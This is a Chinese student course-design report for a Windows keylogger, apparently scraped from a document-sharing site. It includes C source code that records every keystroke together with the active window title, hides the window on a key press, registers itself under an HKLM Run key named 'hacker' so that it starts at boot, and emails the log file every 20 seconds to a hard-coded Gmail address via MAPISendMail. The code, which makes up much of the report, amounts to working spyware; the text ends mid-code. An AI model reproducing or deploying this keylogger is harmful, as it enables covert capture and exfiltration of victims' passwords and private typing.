版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、<p><b> 目 錄</b></p><p><b> 目 錄1</b></p><p><b> 一 設(shè)計(jì)目的2</b></p><p><b> 二 設(shè)計(jì)內(nèi)容2</b></p><p><b> 三 設(shè)計(jì)要求
2、2</b></p><p><b> 四 設(shè)計(jì)過(guò)程2</b></p><p> 1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟2</p><p><b> 2、消息循環(huán)4</b></p><p> 3、編寫窗口過(guò)程函數(shù)5</p><p> 4、自啟動(dòng)模塊設(shè)計(jì)6&
3、lt;/p><p> 5、定時(shí)發(fā)送郵件模塊設(shè)計(jì)6</p><p><b> 6、程序流程圖8</b></p><p><b> 五 設(shè)計(jì)總結(jié)9</b></p><p><b> 參考文獻(xiàn)9</b></p><p><b> 一 設(shè)
4、計(jì)目的</b></p><p> 通過(guò)本次課程設(shè)計(jì),設(shè)計(jì)一個(gè)鍵盤監(jiān)聽(tīng)程序,系統(tǒng)啟動(dòng)后自動(dòng)記錄所有鍵盤信息的功能,能夠記錄鍵盤的輸入值,且該程序具有自動(dòng)啟動(dòng)功能,并能夠定期通過(guò)網(wǎng)絡(luò)給某人的指定的郵箱發(fā)送所記錄的信息。</p><p><b> 二 設(shè)計(jì)內(nèi)容</b></p><p> 1、題目分析,查找資料和總體設(shè)計(jì)。</p
5、><p> 2、詳細(xì)設(shè)計(jì)、代碼編制、程序調(diào)試。系統(tǒng)功能要求如下:</p><p> 模塊一 該部分通過(guò)設(shè)計(jì)一個(gè)窗口,并在窗口中響應(yīng)鍵盤消息,記錄鍵盤的相關(guān)按鍵記錄,實(shí)現(xiàn)鍵盤監(jiān)聽(tīng)的功能。</p><p> 模塊二 該部分通過(guò)對(duì)注冊(cè)表的修改,將該程寫入注冊(cè)表,實(shí)現(xiàn)該程序的隨系統(tǒng)的啟動(dòng)而啟動(dòng)。</p><p> 模塊三 該部分通過(guò)調(diào)用系統(tǒng)
6、的定時(shí)函數(shù),實(shí)現(xiàn)郵件的定時(shí)發(fā)送。</p><p> 3、結(jié)果分析、完成課程設(shè)計(jì)報(bào)告。</p><p><b> 三 設(shè)計(jì)要求</b></p><p> 1、學(xué)生能夠較深入的理解網(wǎng)絡(luò)編成的設(shè)計(jì)方法,并在所要求的設(shè)計(jì)時(shí)間內(nèi),利用自己所熟悉的語(yǔ)言完成本題目的程序編制。</p><p> 2、程序要能正確運(yùn)行,完成預(yù)功能
7、。</p><p> 3、要求設(shè)計(jì)清晰、美觀的用戶界面,當(dāng)操作出錯(cuò)時(shí),程序要有出錯(cuò)提示信息。</p><p> 4、上交設(shè)計(jì)報(bào)告。重點(diǎn)闡述程序的有關(guān)算法說(shuō)明、程序的流程圖以及子程序的功能和參數(shù)的說(shuō)明及程序代碼。</p><p><b> 四 設(shè)計(jì)過(guò)程</b></p><p> 1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟</
8、p><p> ?。?)WinMain函數(shù)的定義</p><p> WinMain函數(shù)的原型聲明如下:</p><p> int WINAPI WinMain(</p><p> HINSTANCE hInstande,</p><p> HINSTANCE hPrevInstance,</p>
9、<p> LPSTR IpCmdLine,</p><p> Int nCmdShow</p><p><b> );</b></p><p> WinMain函數(shù)接收4個(gè)參數(shù),這些參數(shù)都是在系統(tǒng)調(diào)用WinMian函數(shù)時(shí),傳遞給應(yīng)用程序的。</p><p> 第一個(gè)參數(shù)hInstance表示
10、該程序當(dāng)前運(yùn)行的實(shí)例的句柄。第二個(gè)參數(shù)hPrevInstance表示當(dāng)前實(shí)例的前一個(gè)實(shí)例的句柄。第三個(gè)參數(shù)IpCmdLine是一個(gè)以空終止的空符串,第四個(gè)參數(shù)nCmdShow指定程序的窗口應(yīng)該如何顯示。</p><p><b> ?。?)創(chuàng)建一個(gè)窗口</b></p><p><b> 設(shè)計(jì)一個(gè)窗口類</b></p><p&g
11、t; 一個(gè)完整的窗口有許多的特征,包括光標(biāo)、圖標(biāo)、背景色等。因此在創(chuàng)建一個(gè)窗口之前,要對(duì)該類型的窗口進(jìn)行設(shè)計(jì),指定該窗口的相關(guān)特征。Windows為我們定義了一個(gè)窗口所應(yīng)該有的基本屬性。在此次的程序中,運(yùn)用了wndClass這樣一個(gè)函數(shù),來(lái)實(shí)現(xiàn)窗口屬性的設(shè)置。其中的第二個(gè)成員變量IpfnWndProc是一個(gè)函數(shù)指針,指向窗口過(guò)程函數(shù),窗口過(guò)程函數(shù)是一個(gè)回調(diào)函數(shù)。回調(diào)函數(shù)在特定的事件或條件發(fā)生時(shí)由另外一方調(diào)用的,用于對(duì)該事件或條件進(jìn)行響
12、應(yīng)。</p><p><b> ?。?)注冊(cè)窗口類</b></p><p> 調(diào)用RegisterClass函數(shù)對(duì)窗口進(jìn)行注冊(cè),注冊(cè)成功后才能創(chuàng)建該類型的窗口。具體實(shí)現(xiàn)如下:RegisterClass(&wndClass);</p><p><b> (4)創(chuàng)建窗口</b></p><p&g
13、t; 設(shè)計(jì)好窗口并且將其注冊(cè)成功后,就可以用CreateWindow函數(shù)產(chǎn)生這種類型的窗口了。其函數(shù)的原型聲明如下:</p><p> HWND CreateWindow(</p><p> LPCTSTR lpClassName, // registered class name</p><p> LPCTSTR lpWindowName, // win
14、dow name</p><p> DWORD dwStyle, // window style</p><p> int x, // horizontal position of window</p><p> int y, // vertical position of window
15、</p><p> int nWidth, // window width</p><p> int nHeight, // window height</p><p> HWND hWndParent, // handle to parent or owner window</p><p&g
16、t; HMENU hMenu, // menu handle or child identifier</p><p> HINSTANCE hInstance, // handle to application instance</p><p> LPVOID lpParam // window-creation data</p>&l
17、t;p><b> );</b></p><p> (5)顯示及更新窗口</p><p> 其中,顯示窗口通過(guò)ShowWindow函數(shù)實(shí)現(xiàn)。更新窗口通過(guò)UpdateWindow函數(shù)實(shí)現(xiàn)。到此,一個(gè)窗口函數(shù)的創(chuàng)建就算完成了。</p><p><b> 2、消息循環(huán)</b></p><p>
18、 ?。?)編寫一個(gè)消息循環(huán),不斷的從消息隊(duì)列中取出消息,并進(jìn)行響應(yīng)。要從消息隊(duì)列中取出消息,我們需要調(diào)用GetMessage()函數(shù)。通常的消息循環(huán)函數(shù)的代碼如下:</p><p> while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b> {</b></p><p> Tra
19、nslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p><p> DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b> }</b></p><p> GetMessage函數(shù)只有在接收到WM_QUIT消息時(shí),才返回0。此時(shí)whi
20、le語(yǔ)句的判斷條件為假,循環(huán)退出,程序才能結(jié)束運(yùn)行。在沒(méi)有接收到WM_QUIT消息時(shí),Windows應(yīng)用程序就通過(guò)while循環(huán)來(lái)保證程序始終處于運(yùn)行狀態(tài)。</p><p> Windows應(yīng)用程序的消息處理機(jī)制如下圖所示:</p><p><b> 圖2-1</b></p><p> ?。?)操作系統(tǒng)接收到應(yīng)用程序的窗口消息,將消息投遞到
21、該應(yīng)用程序的消息隊(duì)列中。</p><p> (3)應(yīng)用程序在消息循環(huán)中調(diào)用GetMessage函數(shù)從消息隊(duì)列中取出一條一條的消息。取出消息后,應(yīng)用程序可以對(duì)消息進(jìn)行一些預(yù)處理,例如,放棄對(duì)某些消息的響應(yīng),或者調(diào)用TranslateMessage產(chǎn)生新的消息。</p><p> ?。?)應(yīng)用程序調(diào)用DispatchMessage,將消息回傳給操作系統(tǒng),消息是由MSG結(jié)構(gòu)體對(duì)象來(lái)表示的,其中
22、就包含了接收消息的窗口的句柄。因此,DispatchMessage函數(shù)總能進(jìn)行正確的傳遞。</p><p> ?。?)系統(tǒng)調(diào)用WNDCLASS結(jié)構(gòu)體的IpfnWndProc成員保存的窗口過(guò)程函數(shù)的指針調(diào)用窗口過(guò)程,對(duì)消息進(jìn)行處理。</p><p> ?。?)發(fā)送消息可以使用SendMessage和PostMessage函數(shù)。SendMessage將消息直接發(fā)送給窗口,并調(diào)用該窗口的窗口過(guò)程
23、進(jìn)行處理。在窗口過(guò)程對(duì)消息處理完畢后,該函數(shù)才返回。PostMessage函數(shù)將消息放入與創(chuàng)建窗口的線程相關(guān)聯(lián)的消息隊(duì)列后立即返回。除了兩個(gè)函數(shù)外,還有一個(gè)PostThreadMessage函數(shù),用于向線程發(fā)送消息,對(duì)于線程消息,MSG結(jié)構(gòu)體中的hwnd成員為NULL。</p><p> 3、編寫窗口過(guò)程函數(shù)</p><p> ?。?)窗口過(guò)程函數(shù)用于處理發(fā)送給窗口的消息。一個(gè)Windo
24、ws應(yīng)用程序的主要代碼部分就集中在窗口過(guò)程函數(shù)中。窗口過(guò)程函數(shù)的聲明如下:</p><p> LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) </p><p> { HDC hdc;</p><p> PAINTSTRUCT
25、 ps; </p><p><b> }</b></p><p><b> ?。?)具體函數(shù)中有</b></p><p> 按鍵消息處理,通過(guò)WM_INPUT實(shí)現(xiàn),當(dāng)發(fā)現(xiàn)有按鍵消息時(shí),通過(guò)GetRawInputData函數(shù)獲得原始的按鍵信息,再通過(guò)WriteFile寫入文件中,寫下按鍵記錄。</p>&l
26、t;p> 繪制窗口的界面,通過(guò)WM_PAINT完成。當(dāng)窗口客戶區(qū)的一部分或者全部變?yōu)闊o(wú)效是,系統(tǒng)會(huì)發(fā)送WM_PAINT消息,通知應(yīng)用程序重新繪制窗口,當(dāng)窗口剛創(chuàng)建的時(shí)候,整個(gè)客戶區(qū)都是無(wú)效的,因?yàn)檫@個(gè)時(shí)候程序還沒(méi)有在窗口上繪制任何東西,當(dāng)調(diào)用UpdateWindows函數(shù)時(shí),會(huì)發(fā)送WM_PAINT消息給窗口過(guò)程,對(duì)窗口進(jìn)行刷新.</p><p> 完成后,需要對(duì)窗口進(jìn)行撤銷,使用WM_DESTROY完成
27、。當(dāng)用戶單擊窗口傷的關(guān)閉按鈕的時(shí)候,系統(tǒng)會(huì)給應(yīng)用程序發(fā)送一條WM_CLOSE消息,首先彈出一個(gè)消息框,讓用戶確認(rèn)是否結(jié)束.用戶選擇是,則調(diào)用DestroyWindows函數(shù)銷毀窗口, DestroyWindows函數(shù)在銷毀窗口后會(huì)向窗口發(fā)送WM_DESTROY消息,此時(shí),窗口銷毀了,但是應(yīng)用程序并沒(méi)有退出.GetMessage函數(shù)只有在收到WM_QUIT消息才返回0,此時(shí)消息循環(huán)才結(jié)束,程序退出.想要讓程序退出,我們必須響應(yīng)WM_DES
28、TROY消息,并在消息響應(yīng)代碼中調(diào)用PostQuitMessage.向應(yīng)用程序的消息隊(duì)列中投遞WM_QUIT消息,傳遞給PostQuitMessage函數(shù)的參數(shù)值將作為WM_QUIT消息的wParam參數(shù),這個(gè)值通常用作WinMain函數(shù)的返回值。DefWindowProc函數(shù)調(diào)用默認(rèn)的窗口過(guò)程,對(duì)應(yīng)用程序沒(méi)有處理的其他消息進(jìn)行默認(rèn)處理.</p><p><b> 4、自啟動(dòng)模塊設(shè)計(jì)</b>
29、;</p><p> ?。?)該部分通過(guò)將程序的可執(zhí)行程序?qū)懭胱?cè)表,實(shí)現(xiàn)隨著系統(tǒng)的啟動(dòng)而啟動(dòng)。</p><p> 自啟動(dòng)有兩種方法,第一種方法是,在本地計(jì)算機(jī)中打開注冊(cè)表編輯器,找到下面的鍵值:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows 然后在Windows鍵值下新建一個(gè)字符串鍵值,
30、并更名為load,雙擊打開這個(gè)字符串鍵值,接著把彈出窗口的“數(shù)值數(shù)據(jù)”中設(shè)置要隨系統(tǒng)自動(dòng)運(yùn)行的程序的路徑即可。需要注意的是,輸入的路徑文件名是短文件名。(2)另一種方法同樣是在注冊(cè)表中進(jìn)行設(shè)置,找到鍵值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor,找到并雙擊“AutoRun”這項(xiàng),然后將鍵值設(shè)置為需要啟動(dòng)的程序即可。這兩種方法都可以.在實(shí)驗(yàn)中,運(yùn)用了方法一,通過(guò)&qu
31、ot;Software\\Microsoft\\Windows\\CurrentVersion\\Run";找到鍵值,再通過(guò)hkResult,"hacker"/ 注冊(cè)表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBD</p><p> 5、定時(shí)發(fā)送郵件模塊設(shè)計(jì)</p><p
32、><b> (1)郵件發(fā)送功能</b></p><p> 通過(guò)Simple MAPI的函數(shù)以及相關(guān)的數(shù)據(jù)結(jié)構(gòu),根據(jù)其結(jié)構(gòu)可以很簡(jiǎn)單的實(shí)現(xiàn)發(fā)送郵件的功能。實(shí)現(xiàn)一個(gè)完整的郵件發(fā)送過(guò)程,只需要一個(gè)函數(shù)“MAPISendMail()”, MAPI 與郵件系統(tǒng)關(guān)系密切,要能夠使用MAPI的功能,系統(tǒng)必須安裝有支持 MAPI 的郵件系統(tǒng),比如Outlook、Outlook Express、Eu
33、dora、Netscape等.在本次設(shè)計(jì)中,郵件系統(tǒng)使用的是outlook,經(jīng)過(guò)測(cè)試,發(fā)現(xiàn)沒(méi)有問(wèn)題。</p><p> 首先是MAPI庫(kù)的初始化,包括兩個(gè)步驟:裝載MAPI庫(kù)、得到函數(shù)入口地址。</p><p> 發(fā)送郵件 MAPISendMail(),發(fā)送郵件功能就是對(duì)MAPISendMail()的封裝。下面解釋這個(gè)API函數(shù)的參數(shù)定義。</p><p>
34、ULONG FAR PASCAL MAPISendMail(LHANDLE lhSession, ULONG ulUIParam, lpMapiMessage lpMessage, FLAGS flFlags, ULONG ulReserved);lhSession、ulUIParam和ulReserved這三個(gè)參數(shù),簡(jiǎn)單地設(shè)置為0就可以了。flFlags有三個(gè)有效位,分別是 MAPI_DIALOG,MAPI_LOGON_UI,MAPI
35、_NEW_SESSION。</p><p> 重點(diǎn)是 lpMessage 這個(gè)參數(shù),它指向一個(gè)MapiMessage類型的結(jié)構(gòu),詳細(xì)地定義了一個(gè)郵件的全部信息。</p><p> ?。?)結(jié)構(gòu)MapiMessage</p><p> 使用時(shí)首先定義一個(gè)MapiMessage類型的變量,將其清零?,F(xiàn)在我們只要簡(jiǎn)單地設(shè)定lpszSubject(標(biāo)題)、lpszNot
36、eText(正文)、lpOriginator(發(fā)件人)、nRecipCount(收件人計(jì)數(shù),),lpRecips(一個(gè)包含全部收件人的數(shù)組),nFileCount(附件計(jì)數(shù))、lpFiles(包含每個(gè)附件信息的數(shù)組)。nRecipCount 和 nFileCount 的值一定要與實(shí)際的收件人和附件數(shù)目相符。</p><p> ?。?)結(jié)構(gòu) MapiRecipDesc</p><p> 必
37、須設(shè)置 ulRecipClass、lpszName、lpszAddress</p><p> ?。?)結(jié)構(gòu) MapiFileDesc</p><p> 必須設(shè)置的有l(wèi)pszPathName、nPosiotion兩個(gè)參數(shù)</p><p><b> ?。?)定時(shí)功能</b></p><p> 定時(shí)功能通過(guò)調(diào)用系統(tǒng)函數(shù)Se
38、tTimer()來(lái)實(shí)現(xiàn)。其聲明原型如下</p><p> UINT_PTR SetTimer(</p><p> HWND hWnd, // handle to window</p><p> UINT_PTR nIDEvent, // timer identifier</p><p> UINT
39、uElapse, // time-out value</p><p> TIMERPROC lpTimerFunc // timer procedure</p><p><b> );</b></p><p> 此程序中的時(shí)間值設(shè)置的是20秒,也就是說(shuō)每隔20秒,程序會(huì)向指定的郵箱發(fā)送鍵盤記錄。</p>
40、<p><b> 6、程序流程圖</b></p><p> ?。?)鍵盤監(jiān)控流程圖</p><p> 圖6-1鍵盤監(jiān)控流程圖</p><p><b> 五 設(shè)計(jì)總結(jié)</b></p><p> 通過(guò)這次的鍵盤監(jiān)聽(tīng)程序的設(shè)計(jì),使得我對(duì)窗口中響應(yīng)鍵盤消息的機(jī)制更加深入的了解了,通過(guò)對(duì)
41、窗口的屬性設(shè)置、注冊(cè)窗口類、創(chuàng)建窗口、顯示窗口、更新窗口、消息循環(huán)、窗口過(guò)程函數(shù)的編寫,具體深入的體會(huì)了窗口響應(yīng)鍵盤消息的實(shí)現(xiàn)過(guò)程和方法。同時(shí),對(duì)于Windows的許多函數(shù)有了進(jìn)一步運(yùn)用與了解,如運(yùn)用MAPI發(fā)送郵件的使用規(guī)則、運(yùn)用CreateWindow()進(jìn)行窗口的創(chuàng)建、窗口過(guò)程函數(shù)的編寫、GetForegroundWindow的使用等等,提高了編程的能力。</p><p> 關(guān)于程序運(yùn)行時(shí),無(wú)法實(shí)現(xiàn)郵件發(fā)
42、送的問(wèn)題,經(jīng)過(guò)反復(fù)的調(diào)試,都無(wú)法發(fā)現(xiàn)問(wèn)題。把發(fā)送郵件的程序提取出來(lái)單獨(dú)運(yùn)行時(shí),發(fā)現(xiàn)是沒(méi)有問(wèn)題的,能夠正確的發(fā)送郵件。但是,把這個(gè)程序完整的放入到整個(gè)程序中后,卻無(wú)法發(fā)送郵件。最后發(fā)現(xiàn)是由于進(jìn)程的互斥問(wèn)題。記錄的文件一直處于打開狀態(tài),并且不斷地有記錄向文件中寫入,這時(shí)想要訪問(wèn)該文件當(dāng)然是不被允許的。究其原因,還是由于設(shè)計(jì)程序是沒(méi)有考慮操作系統(tǒng)的問(wèn)題,文件打開后沒(méi)有立刻關(guān)閉。在今后的程序設(shè)計(jì)中,要考慮關(guān)于操作系統(tǒng)的同步互斥問(wèn)題。這種問(wèn)題的出
43、現(xiàn),也正好提醒我要把學(xué)過(guò)的每一門專業(yè)課都學(xué)扎實(shí),切實(shí)提高自己的編程功力,這樣,才能夠做到真正的提高。</p><p> 試驗(yàn)中遇到了不少的問(wèn)題,有些通過(guò)上網(wǎng)查閱資料解決了,還有些通過(guò)與同學(xué)的交流,發(fā)現(xiàn)并解決了問(wèn)題.盡管過(guò)程有些漫長(zhǎng),但是,在這個(gè)逐步解決問(wèn)題的過(guò)程中,無(wú)論是自學(xué)能力,查閱資料的能力還是實(shí)際的動(dòng)手能力都有了較大的提高.我想,只有通過(guò)不斷的諸如此類的課程設(shè)計(jì),才能夠更好的檢驗(yàn)我們平時(shí)所學(xué)的知識(shí)。<
44、;/p><p><b> 參考文獻(xiàn)</b></p><p> [1]《計(jì)算機(jī)網(wǎng)絡(luò)安全教程》石志國(guó) 薛為民 江俐 編著 清華大學(xué)出版社 北京交通大學(xué)出版社 2004年</p><p> [2]《計(jì)算機(jī)網(wǎng)絡(luò)安全基礎(chǔ)》袁津生 吳硯農(nóng) 編 人民郵電出版社2002年</p><p> [3]網(wǎng)站:www.csdn.com<
45、;/p><p><b> 附錄</b></p><p> 1、窗口函數(shù)的實(shí)現(xiàn)源代碼:</p><p> INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)//主函數(shù)</p><p><b> {</b>&l
46、t;/p><p> HWND hWnd;</p><p> MSG msg;</p><p> WNDCLASS wndClass;</p><p> wndClass.style = CS_HREDRAW | CS_VREDRAW;&l
47、t;/p><p> wndClass.lpfnWndProc = WndProc;</p><p> wndClass.cbClsExtra = 0;</p><p> wndClass.cbWndExtra = 0;</p><p> wndClass.hInstance = hInstance;<
48、/p><p> wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);</p><p> wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);</p><p> wndClass.hbrBackground = (HBRUSH)GetStockO
49、bject(WHITE_BRUSH);</p><p> wndClass.lpszMenuName = NULL;</p><p> wndClass.lpszClassName = TEXT("KBDLoger"); //窗口屬性設(shè)置</p><p> RegisterClass(&wnd
50、Class); //注冊(cè)窗口類 </p><p> hWnd = CreateWindow( //創(chuàng)建窗口</p><p> TEXT("KBDL
51、oger"), // window class name</p><p> TEXT("KBDLoger"), // window caption</p><p> WS_OVERLAPPEDWINDOW, // window style</p><p> 200, // initial x
52、position</p><p> 200, // initial y position</p><p> 480, // initial x size</p><p> 110, // initial y size</p><p> NULL,
53、 // parent window handle</p><p> NULL, // window menu handle</p><p> hInstance, // program instance handle</p><p> NULL);
54、 // creation parameters</p><p> while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b> {</b></p><p> TranslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p&g
55、t;<p> DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b> }</b></p><p> return msg.wParam; }</p><p> LRESULT CALLBACK WndProc(HWND hWnd, UINT message,
56、 WPARAM wParam, LPARAM lParam) //窗口過(guò)程函數(shù)</p><p><b> {</b></p><p> if (raw->header.dwType == RIM_TYPEKEYBOARD) </p><p><b> {</b></p><p> hw
57、ndCW = GetForegroundWindow();// 獲取當(dāng)前鍵盤焦點(diǎn)窗口名稱</p><p> GetWindowText(hwndCW, wtitle, 128);</p><p> wsprintf(vk, "[%s]:%s\r\n", wtitle, GetKeyName(raw->data.keyboard.VKey));</p>
58、;<p> if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)) && (0xFF !=raw->data.keyboard.VKey))</p><
59、;p><b> {</b></p><p> SetFilePointer(hFile, 0, NULL, FILE_END);</p><p> WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL);</p><p><b> }</b></p&
60、gt;<p> if( VK_HOME == raw->data.keyboard.VKey) //按下home鍵顯示窗口</p><p> ShowWindow(hWnd, SW_NORMAL);</p><p> if( VK_END == raw->data.keyboard.VKey) //按下end鍵隱藏窗口</p><p&g
61、t; ShowWindow(hWnd, SW_HIDE);</p><p><b> }</b></p><p> delete[] lpb; </p><p> DefWindowProc(hWnd, message, wParam, lParam);</p><p><b> return 0;&
62、lt;/b></p><p> case WM_PAINT: //窗口繪制</p><p> hdc = BeginPaint(hWnd, &ps);</p><p> TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo));</p>&l
63、t;p> EndPaint(hWnd, &ps);</p><p><b> return 0;</b></p><p> case WM_DESTROY: //退出窗口</p><p> PostQuitMessage(0);</p><p> CloseH
64、andle(hFile);</p><p><b> return 0;</b></p><p><b> default:</b></p><p> return DefWindowProc(hWnd, message, wParam, lParam);//對(duì)應(yīng)用程序未處理的消息提供默認(rèn)處理</p>
65、<p> PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)</p><p><b> {</b></p><p> HMODULE hDll = LoadLibraryA(dllname);//可執(zhí)行模塊映射到進(jìn)程地址空間</p><p> if(NULL == hDll)<
66、;/p><p> return NULL;</p><p> PVOID pProc = GetProcAddress(hDll, procname);//獲取導(dǎo)出函數(shù)的地址</p><p> FreeLibrary(hDll);</p><p> return pProc;</p><p><b>
67、}</b></p><p> 2、郵件定時(shí)發(fā)送源代碼</p><p><b> //收件人結(jié)構(gòu)信息</b></p><p> MapiRecipDesc recip;</p><p> memset(&recip,0,sizeof(MapiRecipDesc));</p><
68、;p> recip.lpszAddress="SMTP:yangjiankun11@gmail.com";</p><p> recip.ulRecipClass = MAPI_TO;</p><p> recip.lpszName = "SMTP:yangjiankun11@gmail.com";</p><p&g
69、t;<b> //附件結(jié)構(gòu)信息</b></p><p> MapiFileDesc FileDesc;</p><p> memset(&FileDesc,0,sizeof(FileDesc));</p><p> FileDesc.lpszPathName="F:\\KBDLogger\\kebodlog1.txt&
70、quot;;</p><p> FileDesc.nPosition=(ULONG)-1;//附件在郵件中的位置</p><p><b> //郵件結(jié)構(gòu)信息</b></p><p> MapiMessage message;</p><p> memset(&message,0,sizeof(messag
71、e));</p><p> message.nRecipCount = 1; //收件人的個(gè)數(shù)</p><p> message.lpRecips = &recip; //收件人信息</p><p> message.nFileCount = 1; //附件的個(gè)數(shù)</p><p> messa
72、ge.lpFiles = &FileDesc; //附件信息</p><p> message.lpszSubject = "鍵盤記錄";//主題信息</p><p> message.lpszNoteText = ""; //正文內(nèi)容</p><p> ULONG (PASCAL *lpfnSe
73、ndMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);</p><p> (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");取出"MAPISendMail"</p><p><b> 3、自啟動(dòng)源代碼</b>&
74、lt;/p><p> char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //修改注冊(cè)表,自動(dòng)啟動(dòng)</p><p> HKEY hkResult;</p><p> int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&a
75、mp;hkResult);</p><p> ret=RegSetValueEx(hkResult,"hacker"/注冊(cè)表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBDLogger.exe",32); //獲得可執(zhí)行程序的位置,寫入注冊(cè)表</p><p> i
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫(kù)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 手機(jī)鍵盤課程設(shè)計(jì)
- 鍵盤鋼琴匯編語(yǔ)言程序設(shè)計(jì)—微機(jī)原理課程設(shè)計(jì)
- 鍵盤鋼琴匯編語(yǔ)言程序設(shè)計(jì)—微機(jī)原理課程設(shè)計(jì)
- 鍵盤鋼琴匯編語(yǔ)言程序設(shè)計(jì)—微機(jī)原理課程設(shè)計(jì)
- 單片機(jī)課程設(shè)計(jì)---鍵盤接口課程設(shè)計(jì)
- java課程設(shè)計(jì)--軟鍵盤
- eda課程設(shè)計(jì)--矩陣鍵盤接口設(shè)計(jì)
- 軟鍵盤系統(tǒng)課程設(shè)計(jì)
- 鍵盤電子樂(lè)器課程設(shè)計(jì)
- 鍵盤測(cè)試器的設(shè)計(jì)課程設(shè)計(jì)
- 計(jì)算機(jī)網(wǎng)絡(luò)課程設(shè)計(jì)--基于tcpip協(xié)議的網(wǎng)絡(luò)監(jiān)聽(tīng)程序設(shè)計(jì)
- 矩陣鍵盤eda技術(shù)課程設(shè)計(jì)
- 微機(jī)原理課程設(shè)計(jì)-鍵盤輸入
- 矩陣鍵盤eda技術(shù)課程設(shè)計(jì)
- 課程設(shè)計(jì)4乘4矩陣鍵盤設(shè)計(jì)
- 課程設(shè)計(jì)--unix程序設(shè)計(jì)課程設(shè)計(jì)
- hdl-ps2接口鍵盤課程設(shè)計(jì)
- 單片機(jī)鍵盤輸入課程設(shè)計(jì)
- tracer程序課程設(shè)計(jì)
- 微機(jī)原理課程設(shè)計(jì)----鍵盤接收日期并顯示
評(píng)論
0/150
提交評(píng)論